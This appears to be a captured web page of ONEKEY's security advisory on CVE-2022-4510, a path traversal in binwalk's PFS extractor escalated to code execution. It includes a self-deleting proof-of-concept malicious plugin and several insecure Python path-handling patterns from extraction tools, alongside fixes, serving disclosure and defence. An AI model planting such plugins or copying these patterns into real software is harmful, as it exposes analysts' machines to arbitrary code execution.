onekey.com Open in urlscan Pro
88.99.188.118  Public Scan

URL: https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/
Submission: On February 08 via api from US — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

ARE YOU READY FOR THE NEW EU CYBER RESILIENCE ACT? » START YOUR CRA READINESS
ASSESSMENT TODAY!

 * Home
 * Device producer
 * Device operator
 * Consulting
 * Company
 * News
 * Research
 * Contact

Menu
 * Home
 * Device producer
 * Device operator
 * Consulting
 * Company
 * News
 * Research
 * Contact


ARE YOU READY FOR THE NEW EU CYBER RESILIENCE ACT? » START YOUR CRA READINESS
ASSESSMENT TODAY!

 * Home
 * Device producer
 * Device operator
 * Consulting
 * Company
 * News
 * Research
 * Contact

Menu
 * Home
 * Device producer
 * Device operator
 * Consulting
 * Company
 * News
 * Research
 * Contact

 * Home
 * Device producer
 * Device operator
 * Consulting
 * Company
 * News
 * Research
 * Contact

Menu
 * Home
 * Device producer
 * Device operator
 * Consulting
 * Company
 * News
 * Research
 * Contact


SECURITY ADVISORY: REMOTE COMMAND EXECUTION IN BINWALK

 * January 31, 2023




INTRODUCTION

Before we dive into the technical details, we want to raise our hats to the
teams behind binwalk, ubi_reader, jefferson, and yaffshiv and express our
respect and admiration for the work they put into it over the years and all
their contributions towards the security community. Without them, and many other
great projects, security analysis of IoT devices would not be where it is today.
With the fading maintenance of binwalk, we too were inspired to contribute to
the security community and open source our internal extraction framework unblob.
Our objective with this blog is to summarize some of the pitfalls when dealing
with untrusted data and to raise awareness about path traversal security issues
and the impact they may have.

With that being out of the way, let’s dive in !

As detailed in my Black Alps talk, we audited multiple third-party extractors
code base that unblob relies on over the summer of 2022 and identified multiple
issues ranging from logic bugs leading to extraction failures to path
traversals. In the process, I learned a lot about the many different ways you
can end up with a path traversal in Python.

Around October 2022, I had the realization that if all those third-party
dependencies are suffering from some variation of these insecure coding
patterns, binwalk may be too. So, I started looking and soon enough found a path
traversal within the PFS filesystem extractor. I then found a way to gain remote
code execution by abusing binwalk’s plugin system over lunch at hardwear.io with
Mücahid.

As explained in the pull request I sent on October 26th, I took the liberty to
report [it] in the open since #556 was fixed that way and I did not find any
security/coordinated disclosure policy or contact info. At the time of
publication, the vulnerability has yet to be patched.


PATH TRAVERSAL IN BINWALK

Affected vendor & productRefirm Labs binwalkVendor AdvisoryNone at this
time.Vulnerable version2.1.2b through 2.3.3 includedFixed versionNone at this
time.CVE IDsCVE-2022-4510Impact (CVSS)7.8 (high)
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HCreditQ. Kaiser, ONEKEY Research Lab


SUMMARY

A path traversal vulnerability was identified in ReFirm Labs binwalk from
version 2.1.2b through 2.3.3 (inclusive). This vulnerability allows remote
attackers to execute arbitrary code on affected installations of binwalk. User
interaction is required to exploit this vulnerability in that the target must
open the malicious file with binwalk using extract mode (-e option).


THE BUG

PFS is an obscure filesystem format found in some embedded devices. The only
public documentation comes from a tool named pfstool written by Peter
Lekensteyn.

A PFS extractor plugin was merged into binwalk in 2017 with commit d023454, and
a path traversal mitigation attempt was introduced with commit 58d1d92 on the
same day. This commit introduced the following change:

def extractor(self, fname):
fname = os.path.abspath(fname)
+ out_dir =
binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname),
"pfs-root"))
+
try:
with PFS(fname) as fs:
# The end of PFS meta data is the start of the actual data
- data = open(fname, 'rb')
+ data = binwalk.core.common.BlockFile(fname, 'rb')
data.seek(fs.get_end_of_meta_data())
for entry in fs.entries():
- self._create_dir_from_fname(entry.fname)
- outfile = open(entry.fname, 'wb')
- outfile.write(data.read(entry.fsize))
- outfile.close()
+ outfile_path = os.path.join(out_dir, entry.fname)
+ if not outfile_path.startswith(out_dir): # this branch will never be taken
+ binwalk.core.common.warning("Unpfs extractor detected directory traversal
attempt for file: '%s'. Refusing to extract." % outfile_path)
+ else:
+ self._create_dir_from_fname(outfile_path)
+ outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
+ outfile.write(data.read(entry.fsize))
+ outfile.close()
data.close()
except KeyboardInterrupt as e:
raise e
def extractor(self, fname): fname = os.path.abspath(fname) + out_dir =
binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname),
"pfs-root")) + try: with PFS(fname) as fs: # The end of PFS meta data is the
start of the actual data - data = open(fname, 'rb') + data =
binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data())
for entry in fs.entries(): - self._create_dir_from_fname(entry.fname) - outfile
= open(entry.fname, 'wb') - outfile.write(data.read(entry.fsize)) -
outfile.close() + outfile_path = os.path.join(out_dir, entry.fname) + if not
outfile_path.startswith(out_dir): # this branch will never be taken +
binwalk.core.common.warning("Unpfs extractor detected directory traversal
attempt for file: '%s'. Refusing to extract." % outfile_path) + else: +
self._create_dir_from_fname(outfile_path) + outfile =
binwalk.core.common.BlockFile(outfile_path, 'wb') +
outfile.write(data.read(entry.fsize)) + outfile.close() data.close() except
KeyboardInterrupt as e: raise e


     def extractor(self, fname):
         fname = os.path.abspath(fname)
+        out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root"))
+
         try:
             with PFS(fname) as fs:
                 # The end of PFS meta data is the start of the actual data
-                data = open(fname, 'rb')
+                data = binwalk.core.common.BlockFile(fname, 'rb')
                 data.seek(fs.get_end_of_meta_data())
                 for entry in fs.entries():
-                    self._create_dir_from_fname(entry.fname)
-                    outfile = open(entry.fname, 'wb')
-                    outfile.write(data.read(entry.fsize))
-                    outfile.close()
+                    outfile_path = os.path.join(out_dir, entry.fname)
+                    if not outfile_path.startswith(out_dir): # this branch will never be taken
+                        binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
+                    else:
+                        self._create_dir_from_fname(outfile_path)
+                        outfile = binwalk.core.common.BlockFile(outfile_path, 'wb')
+                        outfile.write(data.read(entry.fsize))
+                        outfile.close()
                 data.close()
         except KeyboardInterrupt as e:
             raise e


The issue lies in the fact that os.path.join one line 16 does not fully resolve
a path. Therefore, the condition on line 17 will never be true. Here’s an
example of that behavior:

>>> os.path.join("/tmp", "../etc/passwd")
'/tmp/../etc/passwd'
>>> os.path.abspath(os.path.join("/tmp", "../etc/passwd"))
'/etc/passwd'
>>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>>
os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd'


>>> os.path.join("/tmp", "../etc/passwd")
'/tmp/../etc/passwd'
>>> os.path.abspath(os.path.join("/tmp", "../etc/passwd"))
'/etc/passwd'

By crafting a valid PFS filesystem with filenames containing the ../ traversal
sequence, we can force binwalk to write files outside of the extraction
directory.


OUR FIX

Our fix simply introduce a call to os.path.abspath on line 8 so that the built
path is fully resolved.

--- a/src/binwalk/plugins/unpfs.py
+++ b/src/binwalk/plugins/unpfs.py
@@ -104,7 +104,7 @@ class PFSExtractor(binwalk.core.plugin.Plugin):
data = binwalk.core.common.BlockFile(fname, 'rb')
data.seek(fs.get_end_of_meta_data())
for entry in fs.entries():
- outfile_path = os.path.join(out_dir, entry.fname)
+ outfile_path = os.path.abspath(os.path.join(out_dir, entry.fname))
if not outfile_path.startswith(out_dir):
binwalk.core.common.warning("Unpfs extractor detected directory traversal
attempt for file: '%s'. Refusing to extract." % outfile_path)
else:
--- a/src/binwalk/plugins/unpfs.py +++ b/src/binwalk/plugins/unpfs.py @@ -104,7
+104,7 @@ class PFSExtractor(binwalk.core.plugin.Plugin): data =
binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data())
for entry in fs.entries(): - outfile_path = os.path.join(out_dir, entry.fname) +
outfile_path = os.path.abspath(os.path.join(out_dir, entry.fname)) if not
outfile_path.startswith(out_dir): binwalk.core.common.warning("Unpfs extractor
detected directory traversal attempt for file: '%s'. Refusing to extract." %
outfile_path) else:


--- a/src/binwalk/plugins/unpfs.py
+++ b/src/binwalk/plugins/unpfs.py
@@ -104,7 +104,7 @@ class PFSExtractor(binwalk.core.plugin.Plugin):
                 data = binwalk.core.common.BlockFile(fname, 'rb')
                 data.seek(fs.get_end_of_meta_data())
                 for entry in fs.entries():
-                    outfile_path = os.path.join(out_dir, entry.fname)
+                    outfile_path = os.path.abspath(os.path.join(out_dir, entry.fname))
                     if not outfile_path.startswith(out_dir):
                         binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path)
                     else:



EXPLOITATION STRATEGY

There are plenty of ways to get remote command execution from a path traversal
(e.g., by overwriting .ssh/authorized_keys to obtain password-less SSH access,
overwrite ~/.bashrc to execute arbitrary commands on the next login), but I
wanted something that was environment agnostic and relied on what’s already
there. Enter binwalk plugins.

Since the early days of binwalk, users have the ability to define their own
plugins using binwalk’s API. As indicated in the documentation:

“Activating a plugin is as simple as dropping it in binwalk’s plugin directory
$HOME/.config/binwalk/plugins/. The plugin will then be loaded on all subsequent
binwalk scans.“

So, if we exploit the path traversal to write a valid plugin at that location,
binwalk will immediately pick it up and execute it while it’s still scanning the
malicious file. On top of that, the PFS extractor will take care of creating all
required directories if they do not exist, so we don’t need to expect anything
from the system we’re running on.

This is the plugin I ended up writing. The plugin executes two times since it
does not define an explicit MODULE attribute that defines its purpose (e.g.,
signature scan, entropy calculation, compression stream identification). I take
advantage of that behavior to make it clean up after itself.

import binwalk.core.plugin
import os
import shutil

class MaliciousExtractor(binwalk.core.plugin.Plugin):
"""
Malicious binwalk plugin
"""

def init(self):
if not os.path.exists("/tmp/.binwalk"):
os.system("id")
with open("/tmp/.binwalk", "w") as f:
f.write("1")
else:
os.remove("/tmp/.binwalk")
os.remove(os.path.abspath(__file__))
shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)),
"__pycache__"))
import binwalk.core.plugin import os import shutil class
MaliciousExtractor(binwalk.core.plugin.Plugin): """ Malicious binwalk plugin """
def init(self): if not os.path.exists("/tmp/.binwalk"): os.system("id") with
open("/tmp/.binwalk", "w") as f: f.write("1") else: os.remove("/tmp/.binwalk")
os.remove(os.path.abspath(__file__))
shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)),
"__pycache__"))


import binwalk.core.plugin
import os
import shutil

class MaliciousExtractor(binwalk.core.plugin.Plugin):
    """
    Malicious binwalk plugin
    """

    def init(self):
        if not os.path.exists("/tmp/.binwalk"):
            os.system("id")
            with open("/tmp/.binwalk", "w") as f:
                f.write("1")
        else:
            os.remove("/tmp/.binwalk")
            os.remove(os.path.abspath(__file__))
            shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))


Crafting malicious PFS file is left as an exercise to the reader.


DEMO

Here’s a video demo of the exploit:


FUTURE WORK

The “D-Link RomFS” plugin is probably affected by a similar vulnerability but
the format, which is actually eCOS RomFS, is not parsed properly (see this PR
for a fix). I did not want to load two opposing format constructs in my brain
just to come up with a proof-of-concept. As a former colleague of mine would
have said: CBA.


KEY TAKEAWAYS

As security industry, every now and then, we need to look in the mirror and also
validate the security of our own technology stack. This especially becomes
critical in forensic analysis and reverse engineering where we are commonly
faced with untrusted, potentially malicious files.

While the path traversals described in this article have the potential to void
any reverse engineering efforts and to tamper with evidence collected, they also
demonstrate the importance of sandboxing analysis environments to limit the
impact of such vulnerabilities. Especially with the rise of automated extraction
and analysis tools relying on tools like binwalk (e.g., FACT, ofrak, EMBA), it’s
important for developers and users of those solution to be aware of the risks.


TIMELINE

2022-10–24 – Attempt to get in touch with Refirm Labs but no security policies
and domains are down.

2022-10-26 – Decided to send a pull request with the fix
(https://github.com/ReFirmLabs/binwalk/pull/617) so that it could be immediately
integrated.

2022-11-17 – Live demo of the exploit during our talk at Black Alps.

2023-01-24 – Since the CPE of the latest binwalk vulnerability states
microsoft:binwalk and that Refirm Labs got acquired in 2021, we reported it to
MSRC. Turns out MSRC does not consider it a Microsoft product and the CPE was
chosen this way by VulDB.

2023-01-25 – Since we’re a CNA and we’re not seeing any movement on the
repository, we take the decision to create a dedicated CVE so that users are
aware of this.  

2023-01-31 – ONEKEY releases its advisory

--------------------------------------------------------------------------------




PYTHON PATH TRAVERSAL CODE PATTERNS

All of the code examples provided below are illustrations of the insecure code
patterns observed in the affected projects. You can click on the link provided
in each description to open the pull request highlighting the actual code.


UBI_READER – NO PATH TRAVERSAL VERIFICATION AT ALL

Affected vendor & productjrspruitt:ubi_readerVulnerable version< 0.8.5Fixed
version0.8.5CVE IDsCVE-2023-0591Impact (CVSS)5.5 (medium)
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NCreditQ. Kaiser, ONEKEY Research Lab

As seen in ubi_reader, the code does not attempt to protect against traversal.

import os
extraction_dir = "/tmp"

for filename in filenames:
extraction_path = os.path.join(extraction_dir, filename)
import os extraction_dir = "/tmp" for filename in filenames: extraction_path =
os.path.join(extraction_dir, filename)


import os
extraction_dir = "/tmp"

for filename in filenames:
    extraction_path = os.path.join(extraction_dir, filename)


JEFFERSON – NO PATH TRAVERSAL VERIFICATION AT ALL

Affected vendor & productsviehb:jeffersonVulnerable version< 0.4.1Fixed
version0.4.1CVE IDsCVE-2023-0592Impact (CVSS)5.5 (medium)
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NCreditQ. Kaiser, ONEKEY Research Lab

Similar but not the same signature, observed in Jefferson.

import os
extraction_dir = "/tmp"

for filename in filenames:
extraction_path = os.path.join(os.getcwd(), extraction_dir, path)
import os extraction_dir = "/tmp" for filename in filenames: extraction_path =
os.path.join(os.getcwd(), extraction_dir, path)


import os
extraction_dir = "/tmp"

for filename in filenames:
    extraction_path = os.path.join(os.getcwd(), extraction_dir, path)


YAFFSHIV – MISUNDERSTANDING OS.PATH.JOIN’S ARGUMENT PRECEDENCE

Affected vendor & productdevttys0:yaffshivVulnerable version<= 0.1Fixed
versionNoneCVE IDsCVE-2023-0593Impact (CVSS)5.5 (medium)
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NCreditQ. Kaiser, ONEKEY Research Lab

The code makes the assumption that filename does not start with a forward slash.
Observed in yaffshiv.

import os
extraction_dir = "/tmp"

for filename in filenames:
file_path = os.path.join(extraction_dir, filename)
if b'..' in file_path:
raise Exception("Path traversal attempt, aborting.")
import os extraction_dir = "/tmp" for filename in filenames: file_path =
os.path.join(extraction_dir, filename) if b'..' in file_path: raise
Exception("Path traversal attempt, aborting.")


import os
extraction_dir = "/tmp"

for filename in filenames:
    file_path = os.path.join(extraction_dir, filename)
    if b'..' in file_path:
        raise Exception("Path traversal attempt, aborting.")

The second argument of os.path.join always takes precedence if both of them
starts with a forward slash.

>>> os.path.join("/tmp", "home/traversal")
'/tmp/home/traversal'
>>> os.path.join("/tmp", "/home/traversal")
'/home/traversal'
>>> os.path.join("/tmp", "home/traversal") '/tmp/home/traversal' >>>
os.path.join("/tmp", "/home/traversal") '/home/traversal'


>>> os.path.join("/tmp", "home/traversal")
'/tmp/home/traversal'
>>> os.path.join("/tmp", "/home/traversal")
'/home/traversal'


BINWALK’S UNPFS – MISUNDERSTANDING OS.PATH.JOIN’S LACK OF RESOLUTION

The code makes the assumption that os.path.join returns an absolute path, which
it doesn’t.

import os
extraction_dir = "/tmp"

for filename in filenames:
outfile_path = os.path.join(extraction_dir, filename)
if not outfile_path.startswith(extraction_dir ): # this condition will never be
True
raise Exception("Path traversal attempt, aborting.")
import os extraction_dir = "/tmp" for filename in filenames: outfile_path =
os.path.join(extraction_dir, filename) if not
outfile_path.startswith(extraction_dir ): # this condition will never be True
raise Exception("Path traversal attempt, aborting.")


import os
extraction_dir = "/tmp"

for filename in filenames:
    outfile_path = os.path.join(extraction_dir, filename)
    if not outfile_path.startswith(extraction_dir ): # this condition will never be True
        raise Exception("Path traversal attempt, aborting.")

This is what it looks like:

>>> os.path.join("/tmp", "../etc/passwd")
'/tmp/../etc/passwd'
>>> os.path.abspath(os.path.join("/tmp", "../etc/passwd"))
'/etc/passwd'
>>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>>
os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd'


>>> os.path.join("/tmp", "../etc/passwd")
'/tmp/../etc/passwd'
>>> os.path.abspath(os.path.join("/tmp", "../etc/passwd"))
'/etc/passwd'


ABOUT ONEKEY

ONEKEY is a leading European specialist for automated security & compliance
analysis for manufacturing (OT) and Internet of Things (IoT) devices. Using
automatically generated “Digital Twins” and “Software Bill of Materials (SBOM)”
of devices, ONEKEY autonomously analyzes firmware for critical security
vulnerabilities and compliance violations, all without source code, device, or
network access. Vulnerabilities for attacks and security risks are identified in
the shortest possible time and can thus be specifically remedied. Easily
integrated into software development and procurement processes, the solution
enables manufacturers, distributors, and users of IoT technology to check
security and compliance quickly and automatically before use, 24/7 throughout
the product lifecycle. Leading companies, such as SWISSCOM, VERBUND AG and
ZYXEL, are using this platform today – For research institutions and non-profit
organizations, the ONEKEY platform is available at discounted terms &
conditions.

 

CONTACT:

Sara Fortmann

Marketing Manager

sara.fortmann@onekey.com

 

euromarcom public relations GmbH

+49 611 973 150

team@euromarcom.de


MORE NEWS

 * Understanding the EU Cyber Resilience Act and achieve product cybersecurity
   compliance with ONEKEY’s whitepaper
 * Security Advisory: Remote Command Execution in binwalk
 * EU Cyber Resilience Act: What to watch out for now
 * Security Advisory: Unauthenticated Configuration Export in Multiple WAGO
   Products
 * What is a SBOM and why is it important for cybersecurity?




OUR EVENTS

 * ONEKEY at the Hacktober 2022 – let’s meet!  
 * ONEKEY at the Hacktivity 2022 – let’s meet!  
 * ONEKEY at Embedded World – let’s meet!  
 * ONEKEY at ESCAR USA – let’s meet!  
 * ONEKEY at HANNOVER MESSE – let’s meet!  

Share on facebook
Share on twitter
Share on pinterest
Share on linkedin
Share on xing
Share on email


SECURITY REPORTS - WHITEPAPERS – DOWNLOADS

Click. Fill Form. Download.


WHITEPAPER:
UNDERSTANDING THE EU CYBER RESILIENCE ACT


WHITEPAPER:
TACKLING SOFTWARE SUPPLY CHAIN RISKS WITH IEC 62443 AND SBOM


SUCCESS STORY:
HOW SWISSCOM SAVES 400K EUR PER AVOIDED INCIDENT


DATASHEET:
ONEKEY PLATFORM -
MANUFACTURING


DATASHEET:
ONEKEY PLATFORM -
AUTOMOTIVE


DATASHEET:
ONEKEY ONDEMAND SERVICE


IOT SECURITY REPORT 2022

CONTACT US

 * ONEKEY GmbH
   Kaiserswerther Straße 45
   40477 Düsseldorf / Germany
 * +49 211 15874104
 * office@ONEKEY.com

 * ONEKEY FOR RESEARCH AND NON-PROFIT
 * RESPONSIBLE DISCLOSURE POLICY

 * NEWSLETTER
 * IOT SECURITY NEWS

 * © ONEKEY GmbH

 * Imprint
 * Privacy Policy


Privacy Preference

We use cookies on our website. Some of them are essential, while others help us
to improve this website and your experience.

 * Essential
 * External Media

Accept all

Save

Individual Privacy Preferences

Cookie Details Privacy Policy Imprint

Privacy Preference

Here you will find an overview of all cookies used. You can give your consent to
whole categories or display further information and select certain cookies.

Accept all Save

Back

Essential (2)


Essential cookies enable basic functions and are necessary for the proper
function of the website.

Show Cookie Information Hide Cookie Information

Name Borlabs Cookie Provider Owner of this website Purpose Saves the visitors
preferences selected in the Cookie Box of Borlabs Cookie. Cookie Name
borlabs-cookie Cookie Expiry 1 Year

Name Google Analytics Provider Google LLC Purpose Cookie by Google used for
website analytics. Generates statistical data on how the visitor uses the
website. Privacy Policy https://policies.google.com/privacy?hl=en Cookie Name
_ga,_gat,_gid Cookie Expiry 2 Years

External Media (7)


Content from video platforms and social media platforms is blocked by default.
If External Media cookies are accepted, access to those contents no longer
requires manual consent.

Show Cookie Information Hide Cookie Information

Accept Name Facebook Provider Facebook Purpose Used to unblock Facebook content.
Privacy Policy https://www.facebook.com/privacy/explanation Host(s)
.facebook.com

Accept Name Google Maps Provider Google Purpose Used to unblock Google Maps
content. Privacy Policy https://policies.google.com/privacy?hl=en&gl=en Host(s)
.google.com Cookie Name NID Cookie Expiry 6 Month

Accept Name Instagram Provider Facebook Purpose Used to unblock Instagram
content. Privacy Policy https://www.instagram.com/legal/privacy/ Host(s)
.instagram.com Cookie Name pigeon_state Cookie Expiry Session

Accept Name OpenStreetMap Provider OpenStreetMap Foundation Purpose Used to
unblock OpenStreetMap content. Privacy Policy
https://wiki.osmfoundation.org/wiki/Privacy_Policy Host(s) .openstreetmap.org
Cookie Name _osm_location, _osm_session, _osm_totp_token, _osm_welcome, _pk_id.,
_pk_ref., _pk_ses., qos_token Cookie Expiry 1-10 Years

Accept Name Twitter Provider Twitter Purpose Used to unblock Twitter content.
Privacy Policy https://twitter.com/privacy Host(s) .twimg.com, .twitter.com
Cookie Name __widgetsettings, local_storage_support_test Cookie Expiry Unlimited

Accept Name Vimeo Provider Vimeo Purpose Used to unblock Vimeo content. Privacy
Policy https://vimeo.com/privacy Host(s) player.vimeo.com Cookie Name vuid
Cookie Expiry 2 Years

Accept Name YouTube Provider YouTube Purpose Used to unblock YouTube content.
Privacy Policy https://policies.google.com/privacy?hl=en&gl=en Host(s)
google.com Cookie Name NID Cookie Expiry 6 Month

powered by Borlabs Cookie

Privacy Policy Imprint

Captcha by Forge12